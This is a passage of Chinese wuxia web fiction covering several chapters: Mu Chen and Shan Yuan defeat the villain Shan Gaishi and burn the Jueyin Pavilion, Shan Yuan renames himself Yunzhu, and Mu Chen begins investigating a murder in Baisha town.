一剑贯穿单陔识的胸口,来的出其不意。单陔识闷哼一声,瞬息倒地,慕沉握紧剑柄,刺得更深,固定在地面上,甚至有些裂缝。都这样了,单陔识居然只是猛咳了几下,脱力地躺着,一滩血水蔓延开来,丝毫没有无生息的迹象。
慕沉见状,缓缓蹲下身,俯视着对方,不急不慢地说道:“免得你说我胜之不武。”随即,他拿出单缘给的锦盒,取出其中一根针,竟是不由分说捅进单陔识的脑门。第二根,第三根……直接把单陔识钉死在地上,动弹不得。
接下来该做什么就不是慕沉会的了。他自觉站起,走向单缘,接过对方架在叶展佑脖颈处的刀。
“多谢先生。”单缘神情专注地看着他。
慕沉腾出一只手摆了摆,示意对方该干什么干什么,便不再动作。他看着单缘快到单陔识跟前,随后收回手中的刀,直面叶展佑。
高下立判,叶展佑已经知道了这样的结果,自嘲地笑了笑。他神情透露出些许疲惫,垂着眼眸说:“要杀要剐,悉听尊便。”
“我没说过要杀你。”慕沉挑了挑眉,接着道,“其实我很好奇,何、君、叶、白、余,明明都是故友,为什么都不约而同地来投奔‘单’?而不是去其他任何一家。”
“长辈之事,我们小辈也不知道那么多。”叶展佑回想着,“其实,我曾经有两个选择。我也是认识何初的。”
23. 了平生求遇尘缘
对于叶展佑突然的言辞,倒不是在慕沉的意料之外。他早就知道,何初这厮处处都是人脉。“可你明知单陔识不是什么好人,还是选择他。他无非是在利用你。”
“是啊,有些事情,不过是一念之差罢了。”叶展佑耸了耸肩,目光隐晦地望着他,“慕兄对于背叛之人都这么仁慈吗?若是换作我,必然不会手下留情。”
“从未信任,何谈背叛。”慕沉用着没有起伏的语气道。
叶展佑随即一愣,回味慕沉的言语,突然“呵呵”地笑起来,声音略有点苦涩,却淡然地盯着他,“慕兄,你真是生性薄情啊。”
“……有吗?”从哪里看出来的?被突然这么一说,他倒是有点怀疑自己。
叶展佑笑而不答,瞥过一眼他身后,有意无意地问道:“慕兄这么帮单缘,是单纯看他可怜,还是……为了别的什么?”
“你觉得他身上有什么东西值得我惦念?”慕沉淡淡回应,沉默了一瞬。
是啊,他为什么会帮单缘呢?明明初见时他是一副不想多管闲事的模样。
他尝试问自己的内心,眯了眯眼,意味不明地笑了一下。或许正是那时候——“我大概只是想‘认识’他吧。你不懂的。”
“我的确不懂。”叶展佑眼角突了一瞬,“不过你不看看他此刻在做什么吗?”
还能做什么?不就是用他自己的方法解决单陔识吗。但慕沉还是没有犹豫,下意识转过身,就看到这一幕——单缘握着那柄插在单陔识心口的剑,不过握着的不是剑柄,而是剑锋,划破对方的掌心,鲜血顺着剑流淌至单陔识的伤口,蔓延到地面四处形成了一个以单陔识为中心的奇阵——一看就不是什么好东西。
他怎么偏偏忘了单缘应当是最了解单陔识的人,既然单陔识会那些邪门歪道的阵法,那么单缘多少也会一点。慕沉猜测这个阵彻底形成之时,单缘一定会受到不小的代价。
血色逐渐加深,一道道符文变得刺目。单陔识满脸不甘,却仍然冷笑了一声,仿佛还有底牌没亮出来。
但单缘没想给他这个机会。顿时,单陔识的身体逐渐变得透明,而慕沉与此同时察觉到自己身下的影子与人重合——叶展佑正在靠近他,估计又是想做什么小动作。
还没等他转过身做出什么反应,一根飞针经过他的侧颈。他迅速转头,叶展佑离他不过一米,飞针已穿过对方的脖颈,留下一个血洞。
叶展佑有些不可置信,直直倒地,了无生息只是一瞬间的事。慕沉面色复杂地俯视着,直到叶展佑终于撑不住,满脸透露着不甘心地将双眼合上,他才叹了一口气说:“道不同不相为谋。”原话奉还。
与此同时,单陔识的身影已经完全消散,只留下慕沉那柄剑摇摇欲坠,很快被单缘握住剑柄。
慕沉光注意脚下的影子想着对策,没看清飞针是谁发出的。不过在场只有这几个人,似乎也不用想。他下意识地看向单缘。
并没有如他预料的那般,单缘直至结阵后都没有半分不良反应,与他对视几秒后,不自在地别过眼。
这点微表情在慕沉眼里就是心虚,仿佛证实了对方就是飞针之人。他挑了挑眉,上前走了两步,没想到单缘一下子转过身背对着他。
慕沉面露疑惑,走到对方身旁,发现他正看着面前不远的一棵树。
“君公子,还不出来吗?”单缘对着树喊了声,没有什么表情。
言毕,一人从那棵树后面走了出来,赫然是君秋恒。
慕沉看了看单缘,又看了看对面,笑出了声。
二人正疑惑,接着便听他对君秋恒说:“看完这一整出戏,倒是让你坐享其成了。你是不是该欠我们一个人情?”
单缘倏地转头看向他,似乎觉得这个“我们”格外特殊。
慕沉感受到对方的视线并笑作回应。
可似乎没人把他说的话当作一个玩笑。眼前的这两个人,似乎在无形地博弈。
他眼神在二人之间来回打转,很快就想抽身离开。毕竟自己在这里耽搁太久了。
单缘被他盯得不自在,又一次别过了眼。干巴巴地说:“我与君公子有一些私事未了。”
看着单缘手中紧握的剑,他自然知道所谓的“私事”是什么,况且对方还都这么说了,按理说他也确实没理由多管闲事,他很识趣地想回避。于是他点点头,故作了然道:“既然是私事,那我就不便打扰了,我们山水相逢,后会有期。”说完转身就走。
还没真正走两步路,身后传来单缘叫住他的声音:“先生。”
他定住脚步,转头问了句:“怎么了?”
“你去哪里?等我处理完事情,可以去哪里找到你?”单缘似乎有些焦灼。
他笑了笑。“为什么要去找我呢?有缘自会再见。”
“我——”单缘一时语塞。
他没有等对方想出要说的话,不带任何挽留地离开。
可刚走出大门,突然觉得似乎遗漏了什么东西,又想起自己身上还有一块玉牌,和一本手札。于是他毫不犹豫地调头回去,等把东西交到对方手上再对峙也不迟。
结果就看到单缘握紧手中的剑,目光沉沉地缓缓靠近君秋恒,却不是同盟之间的气氛。他从未看过单缘的这种神情。对方可以是生气的,可以是开心的,可以是难过的——就是没看过单缘如此平静的模样,似乎是麻木的状态。
没想到解决了单陔识这个最大的麻烦,单缘的气性竟是装也不装了。慕沉心想。
君秋恒下意识后退了半步,似乎猜到什么,却没有露怯,有些无奈地叹了气。
按照之前的说法,单缘和君秋恒应当是盟友。可看如今的情形,单缘明显是不想与君秋恒善了,动机不知。不过他转念一想,单缘才是他二人之间在绝音阁待最久的人,或许一开始,单缘就是在利用君秋恒呢?那么现在杀人灭口应该也在对方的逻辑之中。
慕沉迈一大步走到单缘面前,用手拦住对方前进的步调。他挑着眉,面色并无波澜。
突如其来的人冲到面前,单缘被迫将视线从君秋恒身上移开,与他对视。看慕沉的眼神似乎是不解,又仿若迷茫。“先生?”
“嗯。你想做什么?”慕沉拱手而立,好整以暇地盯着对方。虽然他真的不想多管闲事,但他突然就想确认一些事情。
慕沉不再唬对方,重新走到单缘面前,淡淡地看了眼不远的君秋恒,视线回到单缘身上。他若有所思地问了句:“对你而言没有价值的人,你是不是会毫不犹豫地杀掉?”
单缘呆滞住了,似乎在想应对之语。
这反应在他意料之中。没期待对方会给出什么答案,他接着说:“比如现在,君秋恒对你而言已经无用,你想杀他?”
单缘下意识看向君秋恒。后者也是十分淡然,淡然得让慕沉一度以为自己把事情想复杂了。
“别看他,看我。”
慕沉说道,等单缘与他目光交汇,他才继续问:“那么我对你而言有什么利用价值?”
单缘呼吸错乱了一瞬,似乎没想到他如此直白挑明的话语。君秋恒在旁边听着也有些惊讶。
他知道对方不会回答,至少在短时间内。
“或许你有你的本事,但是你不能杀他。”
“……为什么?”单缘沉默了很久,总算开口。
“因为他欠我一个人情。他死了,我找谁讨?”慕沉耸肩,轻描淡写地说。随后对君秋恒道:“君公子,出来混总是要还的。你仅仅动了嘴皮子就让鸿琛堂的两个师兄弟对你深信不疑,三两句话就让我有足够的动机做事——你是天生的‘奸商’。”
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君秋恒说了句“过奖”。
“他白白让我干了那么多事,我总得讨要点什么。”慕沉虽面带笑意,却语调认真。
他就是想知道,单缘会因为他的一句话,做出什么举动。
无声对视三秒,他觉得单缘似乎打消了念头,不再有所动作。
慕沉微微勾了唇角。从怀里掏出那块从地牢中取出的玉牌和手札,递给了单缘。“拿好了。这毕竟可能跟你有关。”
单缘小心接过,藏了起来。他若有若无地瞥了一眼对方手掌的伤,几乎要看不见痕迹了。
横竖这东西留着对他无用。
只是……他暗自摩挲手中的扳指,是他从单陔识那里重新拿回的,经过了这一系列事,他大抵也是了解了原阁主,也就是所托之人可能已经殒命,这信物是再也交不出手了。
也不一定。慕沉问着在场唯二的当事人,意有所指道:“先阁主可有遗孤?”前一天晚上他便从君秋恒那里得知对方也不知晓,这句话是问单缘的。
只见单缘愣了一会。
慕沉看得出对方在犹豫,揣摩着要不要告诉他关于对方知道的事。
好在他没等太久。
“先生猜的不错,先阁主是我的生父。”单缘表情古怪,似乎很艰难地提起,每一个字都带着沉重。
然后慕沉就想起单缘浑身是伤的模样,便问出了口:“所以单陔识折磨你,是为了报复你?”以慕沉的角度来看,单陔识和先阁主必然是不对付的。
单缘“呵呵”一笑,看起来像讽刺,却又掩盖不住苦涩的表情,回答道:“算是吧。”
他这才反应过来自己下意识戳人痛处了,立马避而不谈,转移话题问二人:“你们接下来什么打算?总不能一直待在这里吧?”
单缘不说话了。反倒是君秋恒先开口问他要二两银子。
慕沉疑惑地看着对方。“你找我要钱?”
君秋恒面不改色朝他淡然一笑,十分理直气壮地说:“你不是说我是‘奸商’吗?没有钱的商人是没有还你人情的能力的。”
既要又要的,这是给他画了个大饼啊。
他忍俊不禁,从袖口中拿出一点,掂量了一下,抛了过去。
对面接过不但不言谢,反而“啧啧”一声,佯作嫌弃道:“还真是一分也不多给。早知道多说一点了。”
“我相信你能拿着这二两白手起家的。大奸商。”慕沉假笑。
君秋恒没过多停留,跟他们告别过后就离开绝音阁。剩下慕沉和单缘两两相望。
“你呢?要离开吗?这毕竟也算是你的家。”
“我还可以去哪里,先生?”单缘摇了摇头,稍微带了点暗示,“不过我也不想留在这。”
“那你……想怎么做?”
“……我想毁了这个地方。”单缘浅浅一笑,似乎有点疲惫,抬眼看他,眼里满是希冀。
他不知对方何意,静静地与之对视,等待对方下一步的反应。
单缘随地捡起一根木棍,很快将其点燃,做成一只火把,然后走近递给慕沉,轻声问道:“我有点下不去手。先生帮我好不好?”
明明知道对方不是善茬。明明知道对方不可能下不去手。慕沉脑子一热就接过火把,话到嘴边就是一句:“好。”
他们从大门走出,身后是熊熊火焰,在炙烤着绝音阁,跟幻境里一模一样。
他有点要分不清梦境和现实了。
绝音阁在一场大火中彻底结束了。这个消息不胫而走,一下子便传言有一个人灭了一整个门派,江湖人士闻之色变,纷纷前来打探。更有甚者曾与单陔识或是先阁主交好的,义愤填膺地宣扬着要为绝音阁报仇,揪着查找一个莫须有的人。
他们早走了。查自然查不到慕沉头上。
24. 回首间缘定沉沦
这几日待在莫闻村,仿佛像烫手山芋一样,慕沉早早便将手札和扳指一并交给单缘,对方呢,拿到这两样东西的时候还挺小心翼翼的,似乎也不想当着他的面打开手札看,不过他也没有偷看的癖好就是了。
自从离开绝音阁之后,慕沉就总睡的不踏实。等他再次睁眼,发现自己在一间比较简陋的茅舍里躺着,才想起他们已经回到了不久前刚离开莫闻村。村长倒是有些惊讶,不过还是一如往常欢迎他们。
回想前几天发生的事,他确实杀人了,虽然可能不算真正的人,可那种感觉却很真实。在颤抖中徘徊,在压抑下释放,在痛苦中沉沦——是刀剑尝到血腥的滋味。
“先生。”单缘见他醒来,倒了一杯水端到他面前,轻声开口,“一切都结束了。”
“嗯?”慕沉接过水,抿了一口,揉了揉胀痛的太阳穴,起身走到桌前坐着,一时没反应过来对方说了什么。
“绝音阁没了。我的‘家’没了。”
单缘坐在他对面,嘴里谈吐着令人伤心的话,却不带难过,反而流露出轻松的神情,静静地与他对视。
离开那个对对方而言噩梦的地方,是件好事。
“我想跟着你,先生。”
他有点好笑。对方自从离开绝音阁之后就一直跟着他,虽然有他默许的成分,可就算赶也是不会轻易走的。
慕沉不置可否,对少年问:“我有什么理由留你在我身边?”
单缘浅浅一笑,反问:“先生如今,不是一个人吗?”
是一个人啊,从来都是。“那又如何?”他挑了挑眉。
“先生说过,只要我愿意,就可以。”
还真说过。“嗯,然后呢?”
“先生还说过要教我学剑术。”少年笑得更明显,仿若天真无邪般,说出来的话却充满意味:“先生知我底细,我亦有先生把柄,先生不更应该将我牢牢看着吗?”
他这才意识到,少年口中的把柄是怎么回事。那天拿起火把烧了绝音阁的人,是他啊。当时他还纳闷,毁了绝音阁有千万种手段,为什么要使用最原始,最高调的办法。这不就是想引起所有人的注意吗。
杀了绝音阁几百号人——虽然不能算是真正意义上的人,但在不知情人的眼里那就是一个门派的人,也是他。只要单缘站出来指认,他就是百口莫辩……怎么会有人怀疑到单缘头上呢?毕竟对方算是门派中的“幸存者”啊。
他知道对方的意图,无非就是不想等所有事情了结后悄无声息离开,然后置身事外。即使他知道对方不会做出背刺这种事情,但如今,他们还真是一根绳上的蚂蚱了。
“照你这么说,我其实更应该杀你灭口了。”慕沉眯了眯眼,不带任何攻击性的语气道,“你知道的,我已经破例了,不介意再多一个的。
“那就来吧,我等着先生。”少年笑意不减,一点也不惧怕,反而突然凑近,将脖子送到他面前。只是这个动作,他们二人之间的距离瞬间拉近,双方眼神对视,呼吸交错。
他愣了一下。
单缘观他的反应,得逞般欣悦地笑起来,见好就收,又回到原位。
“……你明知我不会。”慕沉叹了口气,反倒是自己先退一步,有些无奈,“是去是留本身就是你的自由。这是你的选择,也是我的承诺,不是吗?我方才逗你的。”
“那就多谢先生了。”单缘目光都亮了。
慕沉似笑非笑地看着对方。“在这之前,让我重新认识认识你吧。”
“好啊。”单缘莞尔一笑,“先生想怎么了解我?”
一瞬间,慕沉似乎看见了对方敛藏许久的锋芒,提醒着他对面这个人并不是表面看起来那样单纯无害的兔子。实际上他也一直都清楚。
他不禁失笑:“比如,你不想让我知道的呢?”
单缘双手交叠,托着脑袋趴在了桌上,眼神却从没有离开过他半分,懒洋洋地说:“先生好奇怪,我如果不想让你知道,就不会说了。不如先让我问一个问题,先生是何时知道我那时候并没有失忆?”
怎么倒变成被盘问的对象了。不过他还是如实回答,装作高深莫测的语气说:“我其实一直都知道。换句话说,我从不相信你是失忆的。”
“……为什么?”单缘的眼神中透露着不相信。
“一个正在被追拿的人,应当是草木皆兵的。就算你失忆忘记了一切,可你曾经经历的事告诉我,你骨子里必定是极度敏感且没有安全感。可这样的人,似乎不足半日便对我放下戒心,除非你知道
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我是谁,知道我并不会做出伤害你的事,也从没有失忆过。”
“……不愧是先生。”
“其实还有一处,很明显。”慕沉唇角微翘,意味不明地看着对方的眼睛。
单缘一下子便明白他指的是哪件事,脸颊微红,眼神躲闪,仿佛被戳破了一些坏心思。“对不起……”
慕沉故意逗弄对方还得逞了,笑意更显。等过了会敛起笑容,认真地看着对方,慢条斯理道:“还记得我们第一次见面的时候吗?”
单缘犹豫了一下,点了点头。
他说:“我看你的第一个眼神就知道,我捞起来的这个人不简单啊。那时我在想,究竟是什么事,让你万籁俱灰。但是我看到了你盯着我的目光,我似乎猜到了。”
“你只是没有再活下去的理由,你只是没有希望了。可我又转念一想,一个恨意滔天的人,怎么可能轻易说死就死?除非是故意的,演给别人看的。或许,你在我身上看到了你想要的。你想要一柄剑。当然,如果你觉得我有利用的价值,那么我也愿意作为你的一把利刃。”
“我给你一个机会,让你利用我。”
话匣子关上后,一时间陷入了沉默。他们二人相互眼神交流,仿佛在猜测彼此的心思,又仿佛成竹在胸,早已看透了对方。
“先生看起来,真的很懂我。”单缘浅浅一笑,心情十分不错的样子。
慕沉观察对方的反应,最终会心一笑。“看来我确实认识你了。”
闲暇之余细想一番,他总觉得绝音阁之事解决得太过顺利,最后单陔识明显要憋什么大招,只不过被单缘打断。还有那扇暗门后的玉牌,明明单陔识如此惦念,如今交到单缘手里却被搁置一旁,甚至当了杯垫。
结合君的说辞,以及他在鸿琛堂碰到的种种,未必没有联系——“复生”阵,绝生阵,很可能就是同一个。何况君秋恒“好巧不巧”地从鸿琛堂得到所谓的“曲子”,若是无用根本没必要交给他。而他确实在关键时刻用上了。
不过慕沉有些疲惫了。待在绝音阁的时候总要耗费大量精力面对形形色色的人,现在他懒得再深入探究,只想好好放空自己,连何初也暂时不想找了。于是慕、单二人又重新拾起了正常的生活,自此方得一时的安稳。
25. 聚散妄言拨心弦
单缘说,他不想叫这个名字了,他想过全新的生活。听到对方说出这样的话,慕沉自然是替他高兴祝福的,结果一问,根本不知道该取什么名字,还打算让慕沉来取,被慕沉拒绝了。
他觉得如果有一个机会,自己取的名字才是最有意义的。
然后少年又说,自己书读得少,没什么文化。
慕沉笑了笑,心想对方之前明明是公子哥,肯定受过高等教育的,说这话大抵是唬他。
不过慕沉虽然没把对方的话当真,过了几天之后还是寻到了一些稀罕货,正兴致勃勃地拆开看。
少年见他如此迫不及待,也上前来凑热闹了。
包裹里装的是大大小小的书籍,还有几页宣纸和几只笔,都是他从村子里挨个问来的。
少年一看,嗬,顿时失了兴趣。这下慕沉有点相信对方读书少了。分明是不想读嘛。
这是什么眼神。要知道在村里书籍本就是稀罕物,慕沉已经好久没碰过了,甚至有些怀念。可以给他们打发打发时间呢。这小子居然不领情!
那可不行,他费心带回来的东西就没道理闲置着。
他以“长辈”的身份威逼对方看书,他自己则在一旁练练毛笔字,倒还算老实。
“相逢不用忙归去,明日黄花蝶也愁。”少年看着他案桌上宣纸的字迹,不知是何意,只知一个“愁”字寓意不好,再观字面,不由得联想之前,神色有些黯然。
“归去……不谈归去好不好?若是与先生分离,那我岂不是……又一无所有了……”
慕沉有些哭笑不得,刚想解释这句话并不是这个意思,忽然意识到——
自己如今,若是没有少年作伴,也是孑然一身,一无所有。
他敬重的义父母已不知所踪,他们的亲生儿子何初也因事不知去向。原来不是他不想去找。
江湖浩大,何处是故乡?
都说人活在世上总要有点念想,可他这个外来之人,究竟在为什么而活,至今没有一个答案。
他到底没有解释,只轻声回答:“既是相逢,何谈分别?既是重逢,不论分离。”
“那为什么要愁呢?”
“不愁。”他平淡地与之对视,对方仿佛想在他这寻求一个答案。
可又说不上为什么不愁。
何父何母的一句“不可卷入”就不辞而别,或许是真的为了他好——可对他来说,如果真的把他当成家人,又有什么值得瞒着?
不过也对,仅仅一起生活了五年,对于他们来说可太短了,便想着事无巨细,他倒是有点狂妄自负了。
可他也只是想得到一点信任,一点认可,一点归属感。这样也不行吗?他表面上佯装洒脱不在意,说到底不过是他自己的内心在逃避罢了。
慕沉终是不知如何作答,转而望了眼窗外的青山,突然有感而发,“相逢不用忙归去,云外青峰竹正浓。可好?”视作安慰。
少年定睛一亮,点点头,不再言语。
他们就这么沉默了好一会儿。少年假装又拾起了书,实际上在偷偷瞟着他。慕沉看得一清二楚,不免有些好笑。
“你不如直接放下书。”慕沉挑明道。
少年二话不说直接放下,也往窗外望去,思绪不知飘到了什么地方。
此时恰逢暖春,难怪山头都是绿的。是不是意味着……
少年似乎想了很久,突然转过头,用两只手撑着。他低声说:“先生,我想我知道该取什么名字了。”
慕沉记起,自己好像说过,让少年自己取一个新名。从前少年没有的念头,如今又重新提起,是不是意味着……
少年神色认真,让慕沉不由得静静听他讲述。
“人间百态不过尔尔,我虽没有尝遍,也算见识了一番。”
少年说的应当是自己的过去,酸甜苦辣,确实是尝了一遍。慕沉专注地看着眼前的少年。每每对方提起自己的过往,慕沉总是不自觉的联想,对方过的真苦。
“先生既知我秉性如何,我却还想让先生对我留一个好印象。”少年眼神不敢直视,声音也逐渐放低。
他望向窗外。这时他在想,若是换做自己早疯了,可少年却平静到现在。可这份平静,还能维持多久?
少年随之也朝窗外望去,仿佛要将慕沉方才所述之景看透。面色是平静,眼中带笑意,似乎是鼓足了勇气说:
“先生,我还想做一个好人……”
我想做一个你眼中的好人。
这回换慕沉转头看着少年。他端详着少年,发现对方眼里有一些他之前从未看到的……“生机”。是因为对方正在望着那片翠色欲滴的竹子
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吗?
这份平静,是他给予的吗?
慕沉没有说话,只是默默地揣度着少年的话中意。
“世间方有一隅安处,幸得先生照拂。我名云竹,先生觉得可好?”
云竹……?他一时间没反应过来。
云外青峰竹正浓。
新的名字意味着新生。意味着少年放下了过往的一切,迎接新的开始。他不过是随口说的一句,竟也能让眼前这位少年认真对待吗?
他不过是一个与对方相互利用的人,竟也值得少年如此惦记吗?
慕沉不敢自作多情,但少年的言外之意,或许证实了一些东西。
留一个好印象吗……
可从来都是……
一股莫名而来的酸涩涌上心头。
来到这个人生地不熟的世界不是他的本意。他一个什么都不会的人,能活着熬过下一天已是万幸。
徐筱蕙教他武功,那他就做一个合格的徒弟;义父义母收养他,那他就做一个合格的儿子;甚至面对何初、叶展佑之时,他也在扮演一个合格的兄长——
成熟,稳重。一个骨子里没有感情的人。是绝对理智,还是因为不敢用情?
原来这就是叶展佑说的生性凉薄啊。
他已经忘了那些他本该有的情绪,他忘了该怎么讨好自己。
可眼前这人,突然告诉自己,他需要他,离不开他。
一阵微风吹拂,带着窗外竹影摇曳,慕沉静默良久,那颗沉寂许久的心,忽然就泛起一点波澜。
慕沉的视线随着一片竹叶移动,思绪跟着它缓缓飘落,停了一会儿,转而反应过来,郑重说:“好,从今往后,我便唤你云竹了。”视作释然。
身后皆是困惑和迷惘,那便朝前看。而后就会发现,其实该为自己而活。毕竟他也能有人惦记,哪怕一无所有,其实也不算太差吧?
说来好笑,明明初见是他救了云竹,怎么感觉被捞起来的人,是他呢。可若是能有一个人紧紧抓住他,那他又有什么理由放手呢?
他看着少年,突然轻声笑了,是清明,是解脱,是眼底从未有过的深邃,仿佛在说:你就是答案。
他不仅不会放手,还会牢牢抓住,永远不松开。
提笔,而后顿住——他失笑,这哪还有心思练字啊。
26. 一浪未平起新浪
“你到底在怕什么啊?慕沉。”他心里始终有一个声音,质问他。
怕死。怕煎熬地活着。
“你到底在怕什么啊?慕沉!”心头的声音叫嚣着。
怕被遗忘,怕被抛弃,怕被怨怼。
“你到底在怕什么啊!慕沉!”那声音愈加放肆,想要侵占他心中最后的一点净土。
够了!慕沉逐渐冷静,压制住那声音的放浪形骸。
怕自己等待了那么久,到头来不过是一场梦。
只是,若真是梦就好了……
慕沉揉了揉额角,尘封的记忆被突然唤起,难免有些心绪起伏。当务之急,是先去找那群被请来做客的人。
正当他赶到之时如他所料,林宸珠已经派人先一步保下了人。以至于让慕沉的猜测多了几分。
林宸珠在这场戏剧中,扮演的是何种角色?
当时在摄魂阵里,魏霜林分明十分敬重他的母亲,他母子二人的气氛可不是如今这副模样,难不成魏霜林变成周遭人后就性情大变?
不,不太可能。除非他恨意盖过了一切。
既然林宸珠的守卫能够及时赶到此处救人,那么她也很有可能知道事情的全貌。摄魂阵大概率也跟她脱不开关系。
此时,众人也纷纷反应过来,甚至有些不满这白沙镇的待客之道。林宸珠的心腹率先统领并安抚众人,示意他们暂且安住镇主府上。不过出了这档子事,哪还有这个心思留在这个不安生的地方,好几人提出立马离开不干了。
只是林宸珠岂会让人走得如此容易。慕沉猜测她广集贤才不单单是为了处理所谓的“邪祟”。不属于这个镇内的人,是不是更适合见证一些大事?
慕沉走到众人面前,不紧不慢地说道:“各位不必心急,大家也是各派有声望之人,身为一镇之主若是会做出杀人灭口之事必定遭人诟病,承受的压力也不是一星半点。林镇主想必也是出于大家的安全考虑,各位可别被有心之人当枪使了。”
那位老者听了慕沉的话后随声附和,毕竟也算是众人之中的长辈,倒是无一人再提出质疑。
林宸珠的心腹无声朝他点了点头以示感谢,派人带领下去后朝慕沉走来,恭敬地说:“多谢慕仙师相助。林镇主请您府上一叙。”
慕沉点头,做出“请”的手势。
镇主府案堂内,林宸珠似乎正跟人谈论什么不太好的事情,眉头紧锁。
见慕沉到场,便吩咐人退了下去,与他交谈起来。
“慕仙师住的这些天,觉得白沙镇如何?”林宸珠意味不明地问道。
“民风淳朴,很是不错。”慕沉想了一下,“最让我新奇的还是这里特有的‘遗志’。据说这还出自林镇主之手,不胜佩服。”
林宸珠简单地笑了笑,仿佛带了点自嘲:“慕仙师说笑了。若是民生安定,便不会有‘郊外小屋’,若是‘遗志’尚可,便不会出这一系列问题,倒叫我如今无计可施了。”
下一刻,林宸珠拿出魏霜林的“遗志”,递给他,试探性地问:“慕仙师可有法子解此题?”
遗志还是先前的那张,一个个名字被印在其上,只是一眼,慕沉便还给对方。
林宸珠愣住,疑惑他的速度之快,眼神中也透露出些许惊讶。同时也期待着他会给出什么答案。
“林镇主恐怕要的不是遗志的解吧?”
刚想再周旋一会,见一名侍从匆忙上前在林宸珠身边耳语几句,林宸珠面不改色听后,视线不自觉看向慕沉。
这侍从没有故意防着他,以至于他全听见了——君谿杀人逃逸,目前不见踪影。
半个时辰前,君谿明明是与王政乐和司马锋一块离开,按理说两位师兄在这个关头应当会照看一二,不然就是出了什么事情。
林宸珠开口:“实在抱歉,慕仙师,毕竟您是来客,按理说不该将您卷入镇里的腌臜事,如今君谿犯了我镇之法——据我所知,他是您不久前刚收的徒弟,恐怕暂时无法脱身。”
“自然不会让镇主为难。”慕沉观察对方的表情,平静得仿佛尽在掌握之中。他说:“可否让在下看看事发之地?”
不带任何犹豫,林宸珠立马点头同意了。
只是没想到林宸珠居然准备跟他一同调查此事,来时她就知道了大致的过程。
“这路还真是有点远。你作为镇主,按理说这种事情应当可以不用亲力亲为。”
“若是往常,自然如慕仙师所言。”林宸珠看了他一眼,“可死的人是镇中主管刑罚的黄观之子黄思裕。如今黄大人怒火攻心,势必要一个交代。我身为镇主,对镇中显贵有求必应,也是为了稳定人心。不过,还请慕仙师全力洗清君小公子的嫌疑。”
慕沉一愣,不假思索就回应道:“当然。”
纷纷赶到案发现场,周围早就派重兵把守,此时天色仍是昏暗,就算有凑热闹的人也早就被赶走了。
死者在一家客栈的隔间,作为镇中权贵,大半夜的不回家睡觉,跑来客栈做什么?
慕沉凑近粗略地看了眼,尸体胸口处有大量血迹,初步猜测为致命伤。验尸的仵作禀明此伤口为剑所致,凶器并没有留在现场。
他左右踱步,思考一番,最终跟一位侍从耳语一句什么,侍从便照吩咐离开,接着传唤目击者,顺带看了下林宸珠的眼色。毕竟在别人的地盘还是客气点。
林宸珠明白了他的想法,也客气道:“慕仙师请随意,我不过多问。”
慕沉没想过自己有一天会为了“保释”一个人而来调查一起案件,他本来也不是专业人士,只能凭借经验来判断了。
一名男子被传来问话,名叫胡阿华,身着普通,看样子应当是店里的小厮。他说自己是为了客栈营业而提前做准备,故而一早就出门,却不曾想看见了这一幕:“大人,小的亲眼所见君谿公子一剑刺入黄大人之子,绝无半句虚言!”此人面容焦虑,战战兢兢的,生怕说出什么不该说的话。
“不必紧张,如实回答便是。夜色昏暗,你就如此肯定是君谿所为?”慕沉照常询问。
“大人说笑了,君府是镇中新贵,哪有老百姓不认识。”男子依言微微放松,配合着说出更多细节,“当时君公子好像有些匆忙,拔剑就跳窗了,我看着他跳窗后才敢靠近窗户去看。”此人说着,还顺手指了一个方向,似乎是在说明君谿最后离开的方位。
“这么说,他当时没看到你?”
胡阿华闻言面色一变,似乎想起什么不好的回忆:“他看见了。门是开着的,我们就这么对视上了。他
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当时脸色很不好,我以为他会灭口的……肯定是有什么事情让他来不及这么做!”他上前一把抓住慕沉的手,惶恐地说:“求大人一定要护我周全,万一君公子——”
慕沉默默挣开对方的手,打断道:“你先冷静。都是你的臆断。”
“不!他们会的!”男子激动至极,“这些——”
还没说完,胡阿华的声音刹那间便停顿,气势也弱了下来,低垂着头不知道在想什么。
林宸珠全程特别平静地旁观,没有任何表态,这时总算动了动,慕沉朝她方向看去。这位掌管刑罚的黄观黄大人满脸愠色地来到这里,尽管面对的是一镇之主,却仍然没有给半点好脸色。
“林镇主,我儿的遗体何时能交还予我?”
“黄大人,一切都要按流程走,您也不希望您的儿子枉死吧?”
“流程?人证在此,直接将真凶缉拿归案即可!还有什么可查的?是嫌我儿死得还不够惨吗!”黄观使了个眼色,余光瞥见一个不熟悉的面孔,正色打量了一番慕沉。转头睨着眼睛与林宸珠对视,狐疑问道:“这位是?”
“这位是清诡门长老慕仙师。由他来断此案,黄大人可再放心不过。”林宸珠道。
“黄大人,幸会。在下会给你一个交代。”慕沉回应黄观的视线,走到二人跟前,淡淡开口。
哪知黄观听后眉头皱得更深,也不知是不是因为他观外表不似一个长老应该有的资历,没好气地说:“林镇主,就算这位‘慕仙师’来自名门大派,可他好歹也算是个‘外人’吧?况且我儿之死与他近日收的那个徒弟脱不开关系,你将这件事给别人处理——未免过于草率了吧?”
黄观处处与她为难,言语相逼,林宸珠此刻也是冷了脸色,不再好言相劝:“黄观,你若真在乎你死去的儿子,就不要在这光动嘴皮子。本镇主该如何做自然有本镇主的考量,用不着你在这七嘴八舌,耽误了捉拿真凶的罪犯。”
“你!”黄观仿佛被噎了一下,随即“呵”地冷笑一声,轻蔑的语气半点不留几分面子,“还真是位子坐久,就忘了是怎么来的。别忘了,我们这,不搞江湖那一套。”他瞪着林宸珠,仿佛无形中处处作对,还顺便针对一下慕沉。
黄观来的快去得也快,就像是来下马威的,这咄咄逼人的模样究竟是为了自己的儿子,还是别有私心?
“黄大人,”等黄观快走到门口,林宸珠叫住了对方,神色不明地盯着那人的背影,“有些话不用说的太明白,不然就难听了。懂吗?”
黄观脚步一顿,转头挑眉看着她,然后毫无留念地离开。他根本就不在乎儿子。
一旁的目击者胡阿华早就躲在角落压低存在感了,脸色一阵白一阵绿,生怕听见他不该听的,到头来还可能找他麻烦。
好一会儿,林宸珠叹了口气,朝慕沉这看,带着歉意无奈道:“让慕仙师见笑了。不必在意其他人言语,您只管抓住真凶即可。”
“这是自然。”慕沉淡然回应,又回到尸体面前,蹲下身仔细观察。还真看见了一些东西,比如脖颈处有轻微的红痕,说明他生前有被绳索之类的工具勒过。这又多了很多种可能,既然选择使他窒息而亡,并且已经得手,为什么最后的死因却是死于剑下?难道说不止一个人要杀他?
27. 巧思善辩对公堂
慕沉秉着能不用手就不用手的原则,认真地观察,一时间整个厢房寂静无声,仿佛所有人都不想打扰他办事。
“林镇主似乎特别难做。”他最终还是打破了这个沉默,视线却没有移向林宸珠,仍然停留在线索上。声音不大不小,却因为过于安静而显得清晰无比。
